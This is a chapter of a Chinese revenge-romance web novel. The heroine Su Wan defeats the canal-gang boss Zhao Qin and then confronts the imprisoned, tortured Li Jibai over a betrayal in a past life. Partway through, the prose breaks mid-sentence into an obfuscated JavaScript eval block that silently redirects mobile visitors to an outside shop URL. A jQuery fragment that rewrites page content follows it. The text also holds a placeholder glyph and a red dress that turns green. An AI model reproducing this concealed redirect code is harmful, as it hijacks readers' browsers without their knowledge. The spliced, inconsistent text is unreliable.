“名字不过是个代号。二爷此刻关心的,应当不是这个。”
“好!很好!”赵衾怒极反笑,“那你告诉我,楼下那些刁民,码头的火,谢家人的逃脱,还有北境军的异动是不是都是你干的?你从一开始,就是在利用我对不对!你和李既白,根本从未真正反目!你们一直在演戏给我看,给谢昀看!”
苏晚淡淡道:“二爷聪慧。只是如今才想明白,不觉有些晚了么?”
“晚?”赵衾眼中杀机毕露,“不晚,只要抓住你,一切就还不晚!黎昭月,你以为你逃得掉?这醉仙楼上下,里里外外,都是我的人!楼下那些泥腿子能成什么事?码头的火,烧得再旺也能扑灭!谢家已是丧家之犬!至于北境军……没有朝廷调令,黎昭雪敢擅动一兵一卒?他那是找死!”
他越说越快,仿佛在说服自己,语气重新变得自信:“而你,现在落在我手里!我会让你把知道的全都吐出来!你们还有什么后手?说出来,我或许能给你一个痛快!”
苏晚看着他近乎狰狞的面孔,轻轻摇了摇头,眼中掠过怜悯:“二爷,你到现在还不明白吗?从你选择利用我来巩固漕帮的那一刻起,你就已经输了。你太高估了自己的掌控力,也太低估了人心和时势。”
她微微侧身,指向码头方向,语气更添无辜:“那火,救不了了。烧掉的不仅是粮仓货栈,更是你漕帮数年的根基和信誉。”
她又指向驿馆方向:“谢家的人,此刻早已出城。他们带走的,不仅是人,还有谢昀这些年搜刮的巨额财富,以及……足以让谢家向你复仇的把柄。”
最后,她望向北方,语气悠远:“至于我二哥的北境军……他们为何南下,二爷不妨猜猜,是谁给的他们‘理由’和‘底气’?”
赵衾越听心越凉,尤其是最后关于北境军和“理由底气”的话,让他猛然想起那份关于谢家通敌的证据!难道……
“那份证据……你做了手脚?!”他失声问道。
“证据是真的。”苏晚回答,“只不过,送往京城的,不止一份。有些该看到的人,已经看到了。‘勾结外敌,侵吞国帑,构陷忠良’……这样的罪名,足以让任何一位戍边大将有理由加强戒备,甚至前出侦察,以防不测了,不是吗?”
赵衾踉跄后退半步,脸色惨白如纸。他这才彻底明白,自己从头到尾,都被这个女人玩弄于股掌之间!
她不仅利用他摆脱谢昀的直接威胁,更利用他之手,将那致命的证据扩散出去,最终引来了北境军这把最锋利的刀!而他,还傻乎乎地以为自己是螳螂捕蝉后面的黄雀!
“贱人!我杀了你!”他怒吼一声,拔出腰间佩刀,寒光一闪,便朝苏晚扑过去。
他身后的两名手下也同时拔刀,封住苏晚可能的退路。
苏晚站在原地,不闪不避,只是静静地看着赵衾扑来的身影,眼中无悲无喜。
“嗖!”
一支弩箭,带着刺耳的破空声,从露台另一侧的阴影中激射而出,精准射中了赵衾持刀的右手手腕。
“啊!”赵衾惨嚎一声,长刀脱手,剧痛让他为之一滞。
与此同时,他身后传来两声闷哼。那两名手下甚至没看清袭击从何而来,便被从楼梯口掩上的谢忠等人从背后捂住嘴,利刃抹喉,软软倒地。
赵衾左手捂住鲜血淋漓的右腕,骇然转头,只见阴影中,墨痕手持一架精巧的□□缓缓步出。他一身黑衣,面色冷峻如铁。在他身后,还有数名同样黑衣的汉子,显然都是李既白留下的暗卫。
“墨痕?”赵衾不敢相信自己的眼睛,“你不是应该在大牢……”
“托二爷的福,牢里今日比较乱。”墨痕声音冰冷,“正好给了在下活动的机会。”
赵衾瞬间明白了。
谢昀暴毙,驿馆大乱,王知府焦头烂额,大牢看守必然松懈。
“你们……你们果然是一伙的!”
前有苏晚,后有墨痕和这些显然训练有素的暗卫,他已是瓮中之鳖。
苏晚这才走到石桌旁,拿起那顶华美的凤冠,语气带着一丝嘲讽:“二爷,这顶凤冠,还是还给你吧。我黎昭月的婚事,还轮不到旁人来安排。”
她话音未落,下方楼梯突然传来急促杂沓的脚步声和呼喝声。是楼下部分忠于赵衾的漕帮头目察觉不对,带人冲上来了。
赵衾眼中爆发出最后一抹凶光,他知道,这是他唯一的机会!
他强忍右腕剧痛,左手猛地从靴筒中拔出一把淬毒的匕首,合身朝着看似最薄弱的苏晚侧后方扑去!就算死,他也要拉这个毁了他一切的女人垫背!
“小心!”墨痕眼角余光瞥见,转身已是不及。
然而,苏晚却仿佛背后长了眼睛。在赵衾扑来的刹那,她脚下一错,大红嫁衣的宽袖如流云般拂过,身形以一个极其巧妙的角度旋开,不仅避开了匕首的锋芒,更在交错而过的刹那,右手并指如剑,狠辣地戳在了赵衾左肋下的穴道。
赵衾只觉得一股尖锐的酸麻痛楚瞬间蔓延半个身子,左手力道一泄,他闷哼一声,踉跄向前扑倒。正好迎上了墨痕回身劈来的一记手刀,重重砍在后颈。
赵衾眼前一黑,彻底失去了意识,像一滩烂泥般瘫倒在地。
此时,第一批冲上露台的漕帮打手也到了,看到眼前景象,俱是一愣。
墨痕趁他们愣神的功夫,手中弩箭连发,瞬间射倒两人,同时喝道:“赵衾勾结外敌,谋害朝廷钦差,现已伏诛!尔等还要为他卖命,与朝廷为敌吗?!”
打手们看着倒在地上一动不动的赵衾,再看看眼前这些杀气凛然的黑衣人,这些本就因楼下剧变而人心惶惶的打手,顿时犹豫起来。
苏晚此时上前一步,夜风吹起她的红衣黑发,她目光平静地扫过众人,声音清晰而有力:“赵衾罪有应得。若不想与他同罪,此刻放下兵器,官府或可酌情处置。若执迷不悟……格杀勿论。”
她的语气并不如何严厉,却自有一股慑人的气度。
“咣当”、“咣当”,兵器落地声接连响起。
墨痕迅速安排人控制住这些打手,并清理现场。
苏晚走到露台边缘,“墨痕,这里交给你。按计划,清理首恶,稳定局面。安抚百姓,接管漕帮紧要之处。记住,我们是协助官府平乱,切莫逾越。”
“是!”墨痕肃然应道,“那侯爷……”
“我去接他出来。”苏晚转过身,眼中终于露出一丝疲惫,但更多的是一种尘埃落定的决然。
血色嫁衣在楼梯昏暗的光线中曳动,宛如一道流动的火焰,焚烧尽今夜所有的喧嚣。
*
淮州府衙大牢深处。
此处的阴冷潮湿更甚别处,腐臭与血腥气几乎凝成实质,沉甸甸地压在每一次呼吸里。墙壁上的火把忽明忽暗,将刑架上那人的影子拉扯得扭曲变形。
李既白被粗重的铁链吊缚在刑架上,双臂向两侧展开。他身上的囚衣早已被鞭刑撕裂成的布条,一道道翻卷的皮肉纵横,几乎找不到一块完好的地方。冷水泼醒后留下的水渍混着血污,顺着消瘦的小腿往下滴落,在脚下积成一小滩暗红。
他低垂着头,凌乱的黑发黏在汗湿的额头和脸颊,遮住了大半面容。唇色是失血过多的灰白,干裂起皮。胸膛的起伏微不可察,若非那偶尔因剧痛而引发的细微颤抖,几乎让人以为这已是一具残破的尸体。
谢昀虽死,但他入狱之初下的“好好招呼”的命令,照样被忠实地执行。
再到后来墨痕出逃的消息,狱卒们更是变本加厉,对他施加了远超之前的酷刑拷打。
他用尽仅存的意志力去分辨那些零碎的信息,拼凑着外界的轮廓。
脚步声由远及近,在这死寂的牢狱甬道中格外清晰。不是狱卒那种粗重散漫的步伐,而是更轻,带着一种刻意放缓的节奏。
刑架上的人,手指几不可察地蜷缩了一下,却没有抬头。
脚步声停在了牢门外。铁锁响动,牢门被推开。
一股淡淡的,清冽中夹杂着一丝烟火气的风,随着来人的步入搅动了污浊的空气。
李既白终于极其艰难地抬起了头。
透过眼前被血污黏连的发丝缝隙,他看到了那抹刺目的红。
苏晚。
她穿着一身华丽繁复的绿色嫁衣,只是衣摆袖口沾染了些暗色污迹,凤冠已除,青丝简单绾起,面容艳丽。那双眼睛也亮得惊人,如同浸在寒潭中的黑曜石,清晰地映出他此刻狼狈不堪的模样。
时间仿佛在这一刻凝固
李既白的喉咙里发出嗬嗬的声响,似乎想说什么,却只吐出一口浊气。他看到她的平安,心口那比鞭笞刀割更甚的疼痛,竟奇异地缓解了些许。她来了……她终究还是来了。
苏晚向前走了几步,停在刑架前,距离他不过咫尺之遥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913429|186703||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。她能清晰地闻到他身上浓重的血腥气,能看清他每一条伤口边缘翻卷的皮肉。
这一幕,何其熟悉。
前世的地牢,斑驳的石壁,腐臭的气息,沉重的铁链……只是那时,被缚在刑架上、心如死灰的,是黎昭月。而那个衣冠楚楚、居高临下的,是李既白。
“可曾有过半分真心……”
“痴心妄想。”
……
冰冷的恨意,如同涌出的寒泉将她淹没。那恨意如此真切,如此刻骨,几乎让她分不清今夕何夕。
眼前这人,究竟是前世那个薄情负心的夫君,还是今生这个……似乎有诸多隐情,却依旧与三皇子脱不了干系的李既白。
她知道他或许有苦衷,知道他或许是在演戏,知道他或许……心里有她。可那又怎样?
横亘在他们之间的,不仅仅是前世的血债,还有今生无法逾越的立场。
更别提,前世那穿心的一刀,那“痴心妄想”的回答……早已在她灵魂深处烙下了无法磨灭的印记。
信任?如何再信?
回去?如何回去?
从她选择复仇,选择将那些通敌证据送出去,将北境军引来的那一刻起,她就没想过能全身而退,更没想过……还能有什么未来。
今日能救他出这地牢,了结前尘旧债,已是侥幸。
至于以后……她已做好了准备。无论是面对谢家的反扑,朝廷的严厉追究,还是……眼前这人可能带来的未知风险。
她看着他,眼中翻涌的恨意与回忆渐渐沉淀下去,化为一片近乎虚无的平静。
“李既白,”她终于开口,声音在这死寂的牢房里显得异常清晰,“看到你现在这副样子,我忽然觉得……挺痛快的。”
“你知道吗?”苏晚微微偏头,仿佛在回忆,“我做过一个很长……很痛的梦。梦里,我也被关在这样的地方,也被这样吊着,鞭打,折磨……为了替一个人顶罪,为了洗脱他‘三皇子党羽’的嫌疑。我信了他的话,以为只是权宜之计,很快就能出去。”
她的目光重新聚焦在他脸上,“可是啊,我等啊等,等来的却是他另娶高门贵女的消息。我等来的,是他亲自来到这地牢,用我亲手送的匕首,捅进了这里——”
她抬手,指尖虚虚点在自己心口的位置,“然后告诉我,‘棋子,用完就该弃了’。”
李既白瞳孔骤然收缩,心口仿佛被那只无形的手指狠狠戳中,痛得他眼前发黑。
他不知她为何会突然说起这样荒诞又可怕的“梦”,可那话语中的绝望是如此真实,真实到让他浑身发冷!
“不……昭昭……那不是……”他嘶哑地想要辩解,想要告诉她那不是真的,他绝不会那样对她!可剧烈的疼痛让他语不成调。
“不是什么?”苏晚打断他,“不是真的?还是说,你不是三皇子的人?李既白,别骗自己,也别骗我了。慧贵妃是你的姨母,上官威是你的表兄。你们……从来都是一边的。”
她顿了顿,看着他那双写满痛苦和无数未言之语的眼睛,“所以啊,”
她轻轻叹了口气,“我们之间,早就回不去了。从你选择站在那边开始,从我决定走这条路开始,就注定了。今日我来,是替梦里那个傻了的自己,做个了断。”
她上前一步,几乎贴近他。
“李既白,”她用只有两人能听到的声音,“若这世间真有因果轮回,若我真是那梦里归来索债的冤魂……那么,亲眼看着你此刻的模样,看着你珍视的一切因我而崩塌,看着你众叛亲离、身陷囹圄的滋味……我忽然觉得,好像也没那么恨了。”
“因为,我们都不过是这棋局里,身不由己的棋子罢了。区别只在于,我这颗棋子,不想再任人摆布了。哪怕最后是粉身碎骨。”
说完,她不再看他,对着牢门外沉声道:“墨痕,可以进来了。带他走。”
李既白望着她决绝离去的背影,张了张嘴,却发不出任何声音。只有心脏处传来的绞痛,让他几乎窒息。
昭昭……你到底……经历了什么?
那真的……只是梦吗?
为何你的眼神,如此苍凉,如此绝望,仿佛……已经死过一次?
而他,什么都不知道,什么也做不了,只能眼睁睁看着她,一步步,走出他的世界。
剧痛与无边的恐慌,如同这地牢的黑暗,将他彻底吞噬。